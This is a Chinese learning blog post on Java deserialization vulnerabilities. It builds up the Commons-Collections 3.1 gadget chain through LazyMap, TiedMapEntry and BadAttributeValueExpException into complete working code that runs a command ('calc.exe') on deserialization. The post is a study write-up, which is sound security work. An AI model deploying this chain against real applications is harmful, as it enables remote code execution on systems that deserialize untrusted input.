前言:

大概是决定复现JAVA的CVE,第一个拿cve-2016-4437试试,但是之前没接触过JAVA,在历经磨难安装好IDEA maven和依赖环境,跟着各位师傅的教程调试源代码发现大佬们的教程都是跟到 可以控制传入readObject()的反序列化就没了,再细查便是什么CC4,CC3.1之类看上去很深奥的东西。深感基础不足,从头开始学JAVA的各种机制,如有错误疏漏不足欢迎在评论中指出。

利用Java反射执行代码

Java的反序列化是离不开Java的反射机制的,反射机制离不开Object类和Class类,关于反射已经有很多大佬写过详解,这里只用两个例子来说明如何利用Java反射来执行代码
第一个,经典弹计算器

public class Hello {public static void main(String[] args) throws Exception {Hello helloTest = new Hello();helloTest.oneTest();}public void oneTest() throws Exception{Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null);Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime,"calc.exe");}
}

首先是几个关键的方法
Class.forName()方法
Class.forName是一个静态方法,可以用来加载类。该方法有两种形式:Class.forName(String name, boolean initialize, ClassLoader loader)Class.forName(String className),参数String className为所需的类名,方法返回一个与给定的字符串名称相关联类或接口的Class对象。

getMethod()方法与invoke方法:一般同时使用
Method getMethod(String name,Class...parameterTypes),参数String name表示mothod的名称,Class parameterTypes表示method的参数类型的列表(参数顺序需按声明method时的参数列表排列),符合method名称和参数的method对象
Object invoke(Object obj,Object...args),调用包装在当前Method对象中的方法,参数Object obj表示实例化后的对象,Object args表示方法调用的参数

再来分析例子中的第一部分代码:

Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null);

相当于调用了 Runtime类中的getRuntime方法并赋值给runtime,我们查看一下getRuntime方法的代码:

public class Runtime {private static Runtime currentRuntime = new Runtime();public static Runtime getRuntime() {return currentRuntime;}
}

因为是static方法,不依附于任何对象,所以在用.invoke()调用时可以没有 参数Object obj,返回的一个new Runtime对象。

再看第二部分

Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime,"calc.exe");

相当于调用了 runtime.exec(“calc.exe”),因为exec()方法不是static,所以invoke()方法需要一个Object obj参数,也就是第一部分返回的runtime。(PS. 个人觉得Java的反射机制有点模糊了 数据和程序 的边界,可以通过用户输入的字符串来调用没有预期的函数执行恶意命令。)

Transformer常见的恶意代码包装类

利用Transformer,我们可以构造一条可序列化的恶意的代码链

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;public class Hello {public static void main(String[] args) throws Exception {TransformerTest test = new TransformerTest();test.runTest();}
}class TransformerTest {public void runTest(){Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),};//ChainedTransformer transformerChain也可以是Transformer transformerChainChainedTransformer transformerChain = new ChainedTransformer(transformers);//引爆点transformerChain.transform(null);        try {//serialize testByteArrayOutputStream out = new ByteArrayOutputStream();ObjectOutputStream objOut = new ObjectOutputStream(out);objOut.writeObject(transformerChain);} catch (IOException e) {e.printStackTrace();}}
}

先是一个transformer数组里面添加了ConstantTransformerInvokerTransformer,之后用该数组为参数构造一个ChainedTransformer transformerChain对象(这里也可以是Transformer transformerChain对象,ChainedTransformerimplements了Transformer),调用它的transform()方法
下断点调试下,可以看到ChainedTransformer的构造方法和transform()方法的代码为

 public ChainedTransformer(Transformer[] transformers) {this.iTransformers = transformers;}public Object transform(Object object) {for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);}return object;}

也就是transform()会依次调用transformer数组中transformertransform()方法
继续调试,第一个是ConstantTransformertransform()

    public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}//iConstant = class java.lang.Runtimepublic Object transform(Object input) {return this.iConstant;}

返回了class java.lang.Runtime,再进入InvokerTransformertransform()

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args;}public Object transform(Object input) {//input:class java.lang.Runtimeif (input == null) {return null;} else {try {//iMethodName:getMethod//iParamTypes:Class[]{String.class,Class[].class}//iArgs:Object[]{"getRuntime", new Class[0]}Class cls = input.getClass();//调用getMethod来获取getMethodMethod method = cls.getMethod(this.iMethodName, this.iParamTypes);//调用invoke来执行getMethod来获取getRuntime方法return method.invoke(input, this.iArgs);} catch (NoSuchMethodException var5) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException var6) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException var7) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);}}}

用上面的反射基础知识可以知道,调用了RuntimegetMethod()方法(用一个与Runtime相关联的class对象来调用的),来查找getRuntime()方法,返回一个public static java.lang.Runtime java.lang.Runtime.getRuntime(),(挺绕的,用getMethod来获取getMethod,再用invoke来执行getMethod来获取getRuntime
也就是InvokerTransformer类的transform()方法将会以InvokerTransformer(方法名称, 参数类型,方法参数)的形式调用方法,而方法所在的类或对象则是由链条上一步来返回的。

同理下面将执行invoke()来获取Runtime对象,然后执行exec(“calc.exe”),整体相当于

 public static void main(String[] args) throws IOException {Runtime.getRuntime().exec("calc.exe");}

我们得到了一条可以执行恶意代码可以被序列化的ChainedTransformer transformerChain,但是我们如何能够让它能够在正常代码中执行它的transformerChain.transform(null) 方法来执行呢?

重写后的readObject如何被执行

(这是我个人不整明白不舒服的疑问,只粗略写了调试过程,不感兴趣的话可以略过)
首先我们要了解为什么在重写readObject()方法后,在反序列化时会调用重写后的方法而不是原方法,来看一个例子

import java.io.*;public class Test {public static void main(String[] args) throws Exception {SerializeTest serializeTest = new SerializeTest();try {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("temp"));oos.writeObject(serializeTest);oos.close();} catch (IOException e) {e.printStackTrace();}try {ObjectInputStream ois = new ObjectInputStream(new FileInputStream("temp"));Object p = ois.readObject();
//            p.show();} catch (IOException e) {e.printStackTrace();} catch (ClassNotFoundException e) {e.printStackTrace();}}}class SerializeTest implements Serializable {String str = "hello";public void show(){System.out.println(str);}private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{System.out.println("readObject run");}
}

Object p = ois.readObject();可以看见,它被反序列化为了Object对象而不是SerializeTest的,为什么它可以找到重写后的readObject呢?

下断点然后可以看到调用栈

首先通过下图的调用来读取序列化串来获取类名
接下来是如何调用重写后的readObject(),先是调用ObjectInputStream的readObject()方法


之后进入readObject0(),在方法内调用readSerialData(obj, desc);然后跟入 slotDesc.invokeReadObject(obj, this);-> readObjectMethod.invoke(obj, new Object[]{ in });



到达invoke()后就是我们上面提到的用反射来调用方法,执行了我们重写的readObject()方法

重写readObject方法导致的疏漏

例如在Java的代码中存在一个对象BadAttributeValueExpException,它重写了它的readObject()

  private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {ObjectInputStream.GetField gf = ois.readFields();Object valObj = gf.get("val", null);if (valObj == null) {val = null;} else if (valObj instanceof String) {val= valObj;} else if (System.getSecurityManager() == null|| valObj instanceof Long|| valObj instanceof Integer|| valObj instanceof Float|| valObj instanceof Double|| valObj instanceof Byte|| valObj instanceof Short|| valObj instanceof Boolean) {val = valObj.toString();} else { // the serialized object is from a version without JDK-8019292 fixval = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();}}

可以看到存在一个toString()方法,我们还要找到一条链可以从toString()调用到transformerChain.transform(null)

我们将采用Commons-collections 3.1提供的类LazyMapTiedMapEntry
首先是LazyMap:存在LazyMap.decorate(),正常用法如下:

Map names = new HashMap();
Map lazyNames = LazyMap.decorate(names, transformer);
//将Map和transformer传递给lazymap
String name = (String) lazyNames.get("someName");
//调用LazyMap里面的get()方法,但当没有这个key时会调用transform方法得到value,返回get
System.out.println("name: "+name);

当我们尝试获取一个不存在的键值时,它会运行在LazyMap.decorate(names, transformer);中传入的transformer(有种PHP中的魔法方法的感觉),添加到我们的代码中测试一下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.util.HashMap;
import java.util.Map;public class Hello {public static void main(String[] args) throws Exception {TransformerTest test = new TransformerTest();test.runTest();}}class TransformerTest {public void runTest() {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),};Transformer transformerChain = new ChainedTransformer(transformers);//        transformerChain.transform(null);Map targetMap = LazyMap.decorate(new HashMap(), transformerChain);System.out.println(targetMap.get("anything"));}
}

成功调用计算器

现在我们的目标便是从toString()调用到Map对象的get方法,需要使用TiedMapEntry再次包装
TiedMapEntry:该类主要的作用是将一个Map 绑定到 Map.Entry 下,形成一个映射

 public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {private final Map map;private final Object key;public TiedMapEntry(Map map, Object key) {super();this.map = map;this.key = key;}public Object getValue() {return map.get(key);}public String toString() {return getKey() + "=" + getValue();}}

可以看到其中的getValue()实际上调用的便是map.get(key),所以我们可以构造如下代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import java.util.Map;public class Hello {public static void main(String[] args) throws Exception {TransformerTest test = new TransformerTest();test.runTest();}}class TransformerTest {public void runTest() {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),};Transformer transformerChain = new ChainedTransformer(transformers);//        transformerChain.transform(null);Map targetMap = LazyMap.decorate(new HashMap(), transformerChain);
//        System.out.println(targetMap.get("anything"));TiedMapEntry entry = new TiedMapEntry(targetMap, "hack");entry.toString();}
}

成功调用
我们来构造整个调用链

public Object getObject() {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),};Transformer transformerChain = new ChainedTransformer(transformers);//        transformerChain.transform(null);Map targetMap = LazyMap.decorate(new HashMap(), transformerChain);
//        System.out.println(targetMap.get("anything"));TiedMapEntry entry = new TiedMapEntry(targetMap, "hack");
//        entry.toString();//        BadAttributeValueExpException val = new BadAttributeValueExpException(entry);BadAttributeValueExpException val = new BadAttributeValueExpException(null);//利用反射的方式来向对象传参Field valfield = null;try {valfield = val.getClass().getDeclaredField("val");valfield.setAccessible(true);valfield.set(val, entry);} catch (NoSuchFieldException e) {e.printStackTrace();} catch (IllegalAccessException e) {e.printStackTrace();}return val;}

为什么要用反射给BadAttributeValueExpException中的val赋值呢?因为在其的构造函数中存在
也就是如果直接传入会直接在初始化的时候就执行了val.toString()引爆我们的攻击链,攻击本机一次(hhhhh)

完整测试代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class Hello {public static void main(String[] args) throws Exception {TransformerTest test = new TransformerTest();//序列化byte[] serializeByte = test.serialize(test.getObject());//反序列化test.deserialize(serializeByte);}}class TransformerTest {public Object getObject() {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),};Transformer transformerChain = new ChainedTransformer(transformers);//        transformerChain.transform(null);Map targetMap = LazyMap.decorate(new HashMap(), transformerChain);
//        System.out.println(targetMap.get("anything"));TiedMapEntry entry = new TiedMapEntry(targetMap, "hack");
//        entry.toString();//        BadAttributeValueExpException val = new BadAttributeValueExpException(entry);BadAttributeValueExpException val = new BadAttributeValueExpException(null);//利用反射的方式来向对象传参Field valfield = null;try {valfield = val.getClass().getDeclaredField("val");valfield.setAccessible(true);valfield.set(val, entry);} catch (NoSuchFieldException e) {e.printStackTrace();} catch (IllegalAccessException e) {e.printStackTrace();}return val;}public  byte[] serialize(final Object obj) throws IOException {ByteArrayOutputStream out = new ByteArrayOutputStream();ObjectOutputStream objOut = new ObjectOutputStream(out);objOut.writeObject(obj);return out.toByteArray();}public  Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {ByteArrayInputStream in = new ByteArrayInputStream(serialized);ObjectInputStream objIn = new ObjectInputStream(in);return objIn.readObject();}
}

参考

Java反序列化漏洞的原理分析
Java 反序列化过程深究

从零开始的JAVA反序列化漏洞学习(一)相关推荐

  1. java httpinvoker漏洞_Java反序列化漏洞学习

    序列化是Java提供的一种对象持久化保存的技术.常规对象在程序结束后会被回收,如果想把对象持久保存方便下次使用,需要序列化和反序列化. 序列化有两个前提: 类必须实现java.io.serializa ...

  2. java反序列化漏洞的一些gadget

    目录 0x00 URLDNS 0x01 Commons Collections 0x02 RMI的codebase任意代码执行 0x03 JNDI 0x04 LDAP 0x05 JDK7u21 首先说 ...

  3. 山东大学软件学院项目实训-创新实训-山大软院网络攻防靶场实验平台(十)-Java反序列化漏洞(2)

    目录 前言: 2.项目配置 3.编写"java 反序列化漏洞"后端代码 4.编写"java 反序列化漏洞"前端代码 5.运行测试 前言: 本篇文章在上一篇文章基 ...

  4. shiro反序列化漏洞学习(工具+原理+复现)

    工具准备 1.java8 C:\Program Files\Java 2.冰蝎 C:\Users\ali\Desktop\tools\Behinder_v4.0.6 3.shiro反序列化 图形化工具 ...

  5. java反序列化漏洞-基础

    基础: 要想了解java反序列化,首先要了解什么是序列化和什么是反序列化: 序列化:作用是将对象变为字符串 调用功能:ObjectOutputStream类的 writeObject() 反序列化:作 ...

  6. Apache Shiro Java 反序列化漏洞分析

    Shiro概述 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.目前在Java web应用安全框架中,最热门的产品有Spring Security和Sh ...

  7. JAVA反序列化漏洞简单理解

    反序列化原理 关于反序列化的原理不在多说,和php类似,序列化的数据是方便存储的,而存储的状态信息想要再次调用就需要反序列化 Java反序列化的API实现 实现方法 Java.io.ObjectOut ...

  8. java反序列化漏洞基础

    前言 近年来反序列化漏洞可谓被大家熟知,尤其是的在JAVA 程序中发现了大量的反序列化漏洞,这种漏洞危害极大,可以直接造成RCE,获取到权限,本人之前对于这个漏洞一致认识很浅薄,甚至对于利用方式和工具 ...

  9. 6-java安全——java反序列化漏洞利用链

    本篇将结合一个apache commons-collections组件来学习java反序列化漏洞原理,以及如何构造利用链. 我们知道序列化操作主要是由ObjectOutputStream类的 writ ...

  10. java 反序列化漏洞 利用思路简介

    目录 序列化的过程 readObject方法 反射链 完成反序列漏洞实践 结论 之前听别人讲解反序列化的漏洞听的晕乎乎的,刚脆就趁着周末研究一下反序列化漏洞,并且搭建实战环境实际操作了一把,明白了之后 ...

最新文章

  1. 零基础入门学习Pyhton(23)字典:当索引不好用时
  2. 【Python排序搜索基本算法】之拓扑排序
  3. 探讨TensorRT加速AI模型的简易方案 — 以图像超分为例
  4. 你当真了解count(*)count(id)count(1)吗?
  5. AcWing 253. 普通平衡树
  6. SecureCRT或XShell软件
  7. 设置背景色为渐变色 css
  8. vbb bbcode
  9. 亿网文交孟建州艺术品该怎么鉴别,代码分析
  10. win10锁屏壁纸提取保存
  11. 带宽与宽带的区别是什么?
  12. java anymatch_Java Stream anyMatch() API
  13. 如何恢复格式化丢失的资料?
  14. SQL对时间的操作,比如在当前时间上增加减少一天,在当前的时间上增加减少一个月
  15. 打开eclipse 运行发现tomcat出问题。如路径找不到 (1)eclipse 运行出现:The archive:C:/tomcat/bin/bootstrap.jar which is refe
  16. 教你如何拷贝IE浏览器的网址收藏夹
  17. 文华财经期货多空趋势指标公式,期货幅图高抛低吸逃顶抄底精准买卖点信号系统
  18. 这么多人用AI预测FIFA 2018,为什么总是会失败?
  19. 古典密码(部分合集)
  20. 从Level 0到Level 5,自适应学习可分为哪些等级?

热门文章

  1. linux tar 命令无效,linux Tar 命令
  2. 【嵌入式技术】Atmega128串口详解
  3. 聚类分析方法的研究与应用综述
  4. php mysql计数器代码一例
  5. Date类与DateFormat类
  6. RapidMiner教程
  7. 基于微信小程序校内论坛系统设计与实现(毕业设计论文+数据库脚本+源码+答辩ppt)
  8. vue仿微博评论回复_js模拟回帖/微博评论功能案例
  9. C2P工业云进销存管理有什么优势?
  10. 浏览器默认打开360搜索怎么办?